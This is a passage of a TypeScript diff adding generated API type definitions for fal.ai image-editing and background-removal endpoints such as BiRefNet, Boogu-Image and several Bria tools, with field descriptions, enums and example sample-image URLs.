@example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiBagelEdit = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The edited images. + * @example [{"file_name":"hQnndOMvGSt2UsYAiV3vs.jpeg","url":"https://storage.googleapis.com/falserverless/bagel/hQnndOMvGSt2UsYAiV3vs.jpeg","height":1024,"width":1024,"content_type":"image/jpeg","file_size":423052}] + * @type array + */ + images: Image137Ac671[] + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type InputFalAiBenV2Image = { + /** + * @description URL of image to be used for background removal + * @example https://storage.googleapis.com/falserverless/gallery/Ben2/arduino-uno-board-electronics-hand-600nw-1869855883.webp + * @type string + */ + image_url: string + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image432B41C9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiBenV2Image = { + /** + * @description The output image after background removal. + * @example {"height":512,"file_name":"zrZNETpI_ul2jonraqpxN_a57c3f3825d9418f8b3d39cde87c3310.png","width":512,"url":"https://storage.googleapis.com/falserverless/gallery/Ben2/zrZNETpI_ul2jonraqpxN_a57c3f3825d9418f8b3d39cde87c3310.png","file_size":423052,"content_type":"image/png"} + * @type object + */ + image: Image432B41C9 + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiBirefnetOperatingResolutionEnum = { + '1024x1024': '1024x1024', + '2048x2048': '2048x2048', +} as const + +export type InputFalAiBirefnetOperatingResolutionEnumKey = + (typeof inputFalAiBirefnetOperatingResolutionEnum)[keyof typeof inputFalAiBirefnetOperatingResolutionEnum] + +export const inputFalAiBirefnetOutputFormatEnum = { + webp: 'webp', + png: 'png', + gif: 'gif', +} as const + +export type InputFalAiBirefnetOutputFormatEnumKey = + (typeof inputFalAiBirefnetOutputFormatEnum)[keyof typeof inputFalAiBirefnetOutputFormatEnum] + +export const inputFalAiBirefnetModelEnum = { + 'General Use (Light)': 'General Use (Light)', + 'General Use (Heavy)': 'General Use (Heavy)', + Portrait: 'Portrait', +} as const + +export type InputFalAiBirefnetModelEnumKey = + (typeof inputFalAiBirefnetModelEnum)[keyof typeof inputFalAiBirefnetModelEnum] + +export type InputFalAiBirefnet = { + /** + * @description URL of the image to remove background from + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-input.jpeg + * @type string + */ + image_url: string + /** + * @description The resolution to operate on. The higher the resolution, the more accurate the output will be for high res input images. + * @default '1024x1024' + * @type string | undefined + */ + operating_resolution?: InputFalAiBirefnetOperatingResolutionEnumKey + /** + * @description Whether to output the mask used to remove the background + * @default false + * @type boolean | undefined + */ + output_mask?: boolean + /** + * @description Whether to refine the foreground using the estimated mask + * @default true + * @type boolean | undefined + */ + refine_foreground?: boolean + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiBirefnetOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * Model to use for background removal. + * The 'General Use (Light)' model is the original model used in the BiRefNet repository. + * The 'General Use (Heavy)' model is a slower but more accurate model. + * The 'Portrait' model is a model trained specifically for portrait images. + * The 'General Use (Light)' model is recommended for most use cases. + * + * The corresponding models are as follows: + * - 'General Use (Light)': BiRefNet-DIS_ep580.pth + * - 'General Use (Heavy)': BiRefNet-massive-epoch_240.pth + * - 'Portrait': BiRefNet-portrait-TR_P3M_10k-epoch_120.pth + * + * @default 'General Use (Light)' + * @type string | undefined + */ + model?: InputFalAiBirefnetModelEnumKey +} + +export type ImageFile5076Ee7F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiBirefnet = { + /** + * @description Mask used to remove the background + */ + mask_image?: ImageFile5076Ee7F | null + /** + * @description Image with background removed + * @example {"width":1024,"url":"https://storage.googleapis.com/falserverless/example_outputs/birefnet-output.png","content_type":"image/png","file_name":"birefnet-output.png","height":1024} + * @type object + */ + image: ImageFile5076Ee7F +} + +export const inputFalAiBirefnetV2OutputFormatEnum = { + webp: 'webp', + png: 'png', + gif: 'gif', +} as const + +export type InputFalAiBirefnetV2OutputFormatEnumKey = + (typeof inputFalAiBirefnetV2OutputFormatEnum)[keyof typeof inputFalAiBirefnetV2OutputFormatEnum] + +export const inputFalAiBirefnetV2OperatingResolutionEnum = { + '1024x1024': '1024x1024', + '2048x2048': '2048x2048', + '2304x2304': '2304x2304', +} as const + +export type InputFalAiBirefnetV2OperatingResolutionEnumKey = + (typeof inputFalAiBirefnetV2OperatingResolutionEnum)[keyof typeof inputFalAiBirefnetV2OperatingResolutionEnum] + +export const inputFalAiBirefnetV2ModelEnum = { + 'General Use (Light)': 'General Use (Light)', + 'General Use (Light 2K)': 'General Use (Light 2K)', + 'General Use (Heavy)': 'General Use (Heavy)', + Matting: 'Matting', + Portrait: 'Portrait', + 'General Use (Dynamic)': 'General Use (Dynamic)', +} as const + +export type InputFalAiBirefnetV2ModelEnumKey = + (typeof inputFalAiBirefnetV2ModelEnum)[keyof typeof inputFalAiBirefnetV2ModelEnum] + +export type InputFalAiBirefnetV2 = { + /** + * @description The format of the output image + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiBirefnetV2OutputFormatEnumKey + /** + * @description The resolution to operate on. The higher the resolution, the more accurate the output will be for high res input images. The '2304x2304' option is only available for the 'General Use (Dynamic)' model. + * @default '1024x1024' + * @type string | undefined + */ + operating_resolution?: InputFalAiBirefnetV2OperatingResolutionEnumKey + /** + * @description Whether to refine the foreground using the estimated mask + * @default true + * @type boolean | undefined + */ + refine_foreground?: boolean + /** + * @description + * Model to use for background removal. + * The 'General Use (Light)' model is the original model used in the BiRefNet repository. + * The 'General Use (Light 2K)' model is the original model used in the BiRefNet repository but trained with 2K images. + * The 'General Use (Heavy)' model is a slower but more accurate model. + * The 'Matting' model is a model trained specifically for matting images. + * The 'Portrait' model is a model trained specifically for portrait images. + * The 'General Use (Dynamic)' model supports dynamic resolutions from 256x256 to 2304x2304. + * The 'General Use (Light)' model is recommended for most use cases. + * + * The corresponding models are as follows: + * - 'General Use (Light)': BiRefNet + * - 'General Use (Light 2K)': BiRefNet_lite-2K + * - 'General Use (Heavy)': BiRefNet_lite + * - 'Matting': BiRefNet-matting + * - 'Portrait': BiRefNet-portrait + * - 'General Use (Dynamic)': BiRefNet_dynamic + * + * @default 'General Use (Light)' + * @type string | undefined + */ + model?: InputFalAiBirefnetV2ModelEnumKey + /** + * @description Whether to return only the segmentation mask without applying it to the image. When set to `True`, only the mask will be returned and foreground refinement will be skipped. Useful for reducing computation and data transfer when only the mask is needed. + * @default false + * @type boolean | undefined + */ + mask_only?: boolean + /** + * @description URL of the image to remove background from + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-input.jpeg + * @type string + */ + image_url: string + /** + * @description Whether to output the mask used to remove the background + * @default false + * @type boolean | undefined + */ + output_mask?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile6B9Fd502 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiBirefnetV2 = { + /** + * @description Mask used to remove the background + */ + mask_image?: ImageFile6B9Fd502 | null + /** + * @description Image with background removed. When `mask_only` is `True`, this contains the segmentation mask instead. + * @example {"width":1024,"url":"https://storage.googleapis.com/falserverless/example_outputs/birefnet-output.png","content_type":"image/png","file_name":"birefnet-output.png","height":1024} + * @type object + */ + image: ImageFile6B9Fd502 +} + +export type ImageSize8Feee94C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBooguImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiBooguImageImageSizeKey = + (typeof inputFalAiBooguImageImageSize)[keyof typeof inputFalAiBooguImageImageSize] + +export const inputFalAiBooguImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiBooguImageOutputFormatEnumKey = + (typeof inputFalAiBooguImageOutputFormatEnum)[keyof typeof inputFalAiBooguImageOutputFormatEnum] + +export type InputFalAiBooguImage = { + /** + * @description The number of denoising steps to perform. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description If true, the media is returned as a data URI and the output is not available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Describes what should NOT appear in the image. Used for classifier-free guidance; leave empty to disable text negative guidance. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The instruction describing the image to generate. Boogu-Image is bilingual — English and Chinese instructions are both supported. Detailed, descriptive prompts produce the best results. + * @example A street photography shot of an elderly scavenger with a deeply weathered face in the center of the frame, a trash can and a traffic light in the background. Shot on a Leica camera, high photographic texture, cinematic lighting, photorealistic. + * @example 一只柯基犬戴着墨镜,坐在阳光明媚的海滩上,电影感,浅景深。 + * @type string + */ + prompt: string + /** + * @description If true, the safety checker is run on the generated images. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls how closely generation follows the text instruction. Higher values stick more closely to the prompt. A value of 1.0 disables text classifier-free guidance. + * @minimum 1 + * @maximum 8 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Start of the timestep fraction over which CFG is applied. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + cfg_range_start?: number + /** + * @description The size of the generated image. The model's maximum native resolution is 2K; larger requests are clamped. Dimensions are aligned to multiples of 16. + * @default square_hd + */ + image_size?: ImageSize8Feee94C | InputFalAiBooguImageImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiBooguImageOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description End of the timestep fraction over which CFG is applied. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + cfg_range_end?: number +} + +export type ImageBde48C4C = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiBooguImage = { + /** + * @description The generated images. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/boogu_image_t2i.jpeg","height":1024,"content_type":"image/jpeg","width":1024} + * @type array + */ + images: ImageBde48C4C[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize33413233 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiBooguImageEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiBooguImageEditImageSizeKey = + (typeof inputFalAiBooguImageEditImageSize)[keyof typeof inputFalAiBooguImageEditImageSize] + +export const inputFalAiBooguImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiBooguImageEditOutputFormatEnumKey = + (typeof inputFalAiBooguImageEditOutputFormatEnum)[keyof typeof inputFalAiBooguImageEditOutputFormatEnum] + +export type InputFalAiBooguImageEdit = { + /** + * @description The number of denoising steps to perform. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The same seed, prompt, and input image given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Reference-image guidance strength. A value of 1.0 disables image CFG; higher values preserve the input image more strongly. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type number | undefined + */ + image_guidance_scale?: number + /** + * @description If true, the media is returned as a data URI and the output is not available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Describes what should NOT appear in the edited image. Used for classifier-free guidance; leave empty to disable text negative guidance. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The edit instruction describing how to transform the input image. Boogu-Image supports English and Chinese instructions. + * @example Change the background to a sunny garden while preserving the person. + * @example 帮我在这幅画右下角加上三个带叶子的柿子。 + * @type string + */ + prompt: string + /** + * @description If true, the safety checker is run on the input and output images. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the input image to edit. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux2_dev_edit_input.png + * @type string + */ + image_url: string + /** + * @description Start of the timestep fraction over which CFG is applied. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + cfg_range_start?: number + /** + * @description The output size. If omitted, the edited image follows the input image aspect ratio while respecting the model's 2K native limit. + */ + image_size?: ImageSize33413233 | InputFalAiBooguImageEditImageSizeKey | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiBooguImageEditOutputFormatEnumKey + /** + * @description Controls how closely the edit follows the text instruction. Higher values stick more closely to the prompt. + * @minimum 1 + * @maximum 8 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of edited images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description End of the timestep fraction over which CFG is applied. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + cfg_range_end?: number +} + +export type ImageAa915B33 = { + url: string + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number +} + +export type OutputFalAiBooguImageEdit = { + /** + * @description The generated images. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/boogu_image_t2i.jpeg","height":1024,"content_type":"image/jpeg","width":1024} + * @type array + */ + images: ImageAa915B33[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type InputFalAiBriaBackgroundRemove = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Input Image to erase from + * @example https://fal.media/files/panda/K5Rndvzmn1j-OI1VZXDVd.jpeg + * @type string + */ + image_url: string + /** + * @description Optional. Change what the cutout keeps in plain words: add ('the person with the mat'), drop ('without the lamp') or narrow ('only the chair'). Billed at $0.03 instead of $0.018. + * @example the person with the mat and the plant + */ + prompt?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image027E5D73 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiBriaBackgroundRemove = { + /** + * @description The generated image + * @example {"file_size":1076276,"width":1024,"height":1024,"file_name":"070c731993e949d993c10ef6283d335d.png","url":"https://v3.fal.media/files/tiger/GQEMNjRyxSoza7N8LPPqb_070c731993e949d993c10ef6283d335d.png","content_type":"image/png"} + * @type object + */ + image: Image027E5D73 +} + +export type InputFalAiBriaBackgroundReplace = { + /** + * @description Number of Images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Input Image to erase from + * @example https://storage.googleapis.com/falserverless/bria/bria_bg_replace_fg.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the fast model + * @default true + * @type boolean | undefined + */ + fast?: boolean + /** + * @description The URL of the reference image to be used for generating the new background. Use "" to leave empty. Either ref_image_url or bg_prompt has to be provided but not both. If both ref_image_url and ref_image_file are provided, ref_image_url will be used. Accepted formats are jpeg, jpg, png, webp. + * @default '' + * @example https://storage.googleapis.com/falserverless/bria/bria_bg_replace_bg.jpg + * @type string | undefined + */ + ref_image_url?: string + /** + * @description Whether to refine prompt + * @default true + * @type boolean | undefined + */ + refine_prompt?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt you would like to use to generate images. + * @example Man leaning against a wall + */ + prompt?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8613Cbeb = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaBackgroundReplace = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/bria/bria_bg_replace_res.jpg","content_type":"image/png"}] + * @type array + */ + images: Image8613Cbeb[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiBriaEraserMaskTypeEnum = { + manual: 'manual', + automatic: 'automatic', +} as const + +export type InputFalAiBriaEraserMaskTypeEnumKey = + (typeof inputFalAiBriaEraserMaskTypeEnum)[keyof typeof inputFalAiBriaEraserMaskTypeEnum] + +export type InputFalAiBriaEraser = { + /** + * @description The URL of the binary mask image that represents the area that will be cleaned. + * @example https://storage.googleapis.com/falserverless/bria/bria_eraser_mask.png + * @type string + */ + mask_url: string + /** + * @description You can use this parameter to specify the type of the input mask from the list. 'manual' opttion should be used in cases in which the mask had been generated by a user (e.g. with a brush tool), and 'automatic' mask type should be used when mask had been generated by an algorithm like 'SAM'. + * @default 'manual' + * @type string | undefined + */ + mask_type?: InputFalAiBriaEraserMaskTypeEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * If set to true, attempts to preserve the alpha channel of the input image. + * + * @default false + * @type boolean | undefined + */ + preserve_alpha?: boolean + /** + * @description Input Image to erase from + * @example https://storage.googleapis.com/falserverless/bria/bria_eraser_img.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4Eca9Cd4 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaEraser = { + /** + * @description The generated image + * @example {"url":"https://storage.googleapis.com/falserverless/bria/bria_eraser_res.png","content_type":"image/png"} + * @type object + */ + image: Image4Eca9Cd4 +} + +export const inputFalAiBriaExpandAspectRatio = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputFalAiBriaExpandAspectRatioKey = + (typeof inputFalAiBriaExpandAspectRatio)[keyof typeof inputFalAiBriaExpandAspectRatio] + +export type InputFalAiBriaExpand = { + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The desired aspect ratio of the final image. Will be used over original_image_size and original_image_location if provided. + */ + aspect_ratio?: InputFalAiBriaExpandAspectRatioKey | null + /** + * @description The desired size of the final image, after the expansion. should have an area of less than 5000x5000 pixels. + * @example [1200,674] + * @type array + */ + canvas_size: number[] + /** + * @description The desired location of the original image, inside the full canvas. Provide the location of the upper left corner of the original image. The location can also be outside the canvas (the original image will be cropped). Will be ignored if aspect_ratio is provided. + * @example [301,-66] + */ + original_image_location?: number[] | null + /** + * @description The URL of the input image. + * @example https://storage.googleapis.com/falserverless/model_tests/orange.png + * @type string + */ + image_url: string + /** + * @description The desired size of the original image, inside the full canvas. Ensure that the ratio of input image foreground or main subject to the canvas area is greater than 15% to achieve optimal results. Will be ignored if aspect_ratio is provided. + * @example [610,855] + */ + original_image_size?: number[] | null + /** + * @description You can choose whether you want your generated expension to be random or predictable. You can recreate the same result in the future by using the seed value of a result from the response. You can exclude this parameter if you are not interested in recreating your results. This parameter is optional. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Text on which you wish to base the image expansion. This parameter is optional. Bria currently supports prompts in English only, excluding special characters. + * @default '' + * @type string | undefined + */ + prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image635Bad30 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaExpand = { + /** + * @description The generated image + * @example {"url":"https://v3.fal.media/files/koala/8np-spgxxG-I1r3cjthRV_afa402a35ea742cdb5c3e219b2b19bfb.png","file_name":"afa402a35ea742cdb5c3e219b2b19bfb.png","height":674,"content_type":"image/png","width":1200,"file_size":1471342} + * @type object + */ + image: Image635Bad30 + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export type InputFalAiBriaGenfill = { + /** + * @description The URL of the binary mask image that represents the area that will be cleaned. + * @example https://storage.googleapis.com/falserverless/bria/bria_genfill_mask.png + * @type string + */ + mask_url: string + /** + * @description Number of Images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Input Image to erase from + * @example https://storage.googleapis.com/falserverless/bria/bria_genfill_img.png + * @type string + */ + image_url: string + /** + * @description The negative prompt you would like to use to generate images. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt you would like to use to generate images. + * @example A red delicious cherry + * @type string + */ + prompt: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD75Dc1Fd = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiBriaGenfill = { + /** + * @description Generated Images + * @example [{"url":"https://storage.googleapis.com/falserverless/bria/bria_genfill_res.png","file_name":"a0d138e6820c4ad58f1fd3c758f16047.png","height":768,"content_type":"image/png","width":1024,"file_size":1064550}] + * @type array + */ + images: ImageD75Dc1Fd[] + /** + * @description Seed value used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiBriaProductShotPlacementTypeEnum = { + original: 'original', + automatic: 'automatic', + manual_placement: 'manual_placement', + manual_padding: 'manual_padding', +} as const + +export type InputFalAiBriaProductShotPlacementTypeEnumKey = + (typeof inputFalAiBriaProductShotPlacementTypeEnum)[keyof typeof inputFalAiBriaProductShotPlacementTypeEnum] + +export const inputFalAiBriaProductShotManualPlacementSelectionEnum = { + upper_left: 'upper_left', + upper_right: 'upper_right', + bottom_left: 'bottom_left', + bottom_right: 'bottom_right', + right_center: 'right_center', + left_center: 'left_center', + upper_center: 'upper_center', + bottom_center: 'bottom_center', + center_vertical: 'center_vertical', + center_horizontal: 'center_horizontal', +} as const + +export type InputFalAiBriaProductShotManualPlacementSelectionEnumKey = + (typeof inputFalAiBriaProductShotManualPlacementSelectionEnum)[keyof typeof inputFalAiBriaProductShotManualPlacementSelectionEnum] + +export type InputFalAiBriaProductShot = { + /** + * @description This flag is only relevant when placement_type=original. If true, the output image retains the original input image's size; otherwise, the image is scaled to 1 megapixel (1MP) while preserving its aspect ratio. + * @default false + * @type boolean | undefined + */ + original_quality?: boolean + /** + * @description Text description of the new scene or background for the provided product shot. Bria currently supports prompts in English only, excluding special characters. + * @example on a rock, next to the ocean, dark theme + */ + scene_description?: string | null + /** + * @description This parameter allows you to control the positioning of the product in the image. Choosing 'original' will preserve the original position of the product in the image. Choosing 'automatic' will generate results with the 10 recommended positions for the product. Choosing 'manual_placement' will allow you to select predefined positions (using the parameter 'manual_placement_selection'). Selecting 'manual_padding' will allow you to control the position and size of the image by defining the desired padding in pixels around the product. + * @default 'manual_placement' + * @type string | undefined + */ + placement_type?: InputFalAiBriaProductShotPlacementTypeEnumKey + /** + * @description The URL of the product shot to be placed in a lifestyle shot. If both image_url and image_file are provided, image_url will be used. Accepted formats are jpeg, jpg, png, webp. Maximum file size 12MB. + * @example https://storage.googleapis.com/falserverless/bria/bria_product_fg.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the fast model + * @default true + * @type boolean | undefined + */ + fast?: boolean + /** + * @description The URL of the reference image to be used for generating the new scene or background for the product shot. Use "" to leave empty.Either ref_image_url or scene_description has to be provided but not both. If both ref_image_url and ref_image_file are provided, ref_image_url will be used. Accepted formats are jpeg, jpg, png, webp. + * @default '' + * @example https://storage.googleapis.com/falserverless/bria/bria_product_bg.jpg + * @type string | undefined + */ + ref_image_url?: string + /** + * @description The desired size of the final product shot. For optimal results, the total number of pixels should be around 1,000,000. This parameter is only relevant when placement_type=automatic or placement_type=manual_placement. + * @default [1000,1000] + * @type array | undefined + */ + shot_size?: number[] + /** + * @description The desired padding in pixels around the product, when using placement_type=manual_padding. The order of the values is [left, right, top, bottom]. For optimal results, the total number of pixels, including padding, should be around 1,000,000. It is recommended to first use the product cutout API, get the cutout and understand the size of the result, and then define the required padding and use the cutout as an input for this API. + * @type array | undefined + */ + padding_values?: number[] + /** + * @description Whether to optimize the scene description + * @default true + * @type boolean | undefined + */ + optimize_description?: boolean + /** + * @description If `True`, the media will be returned as a data URI 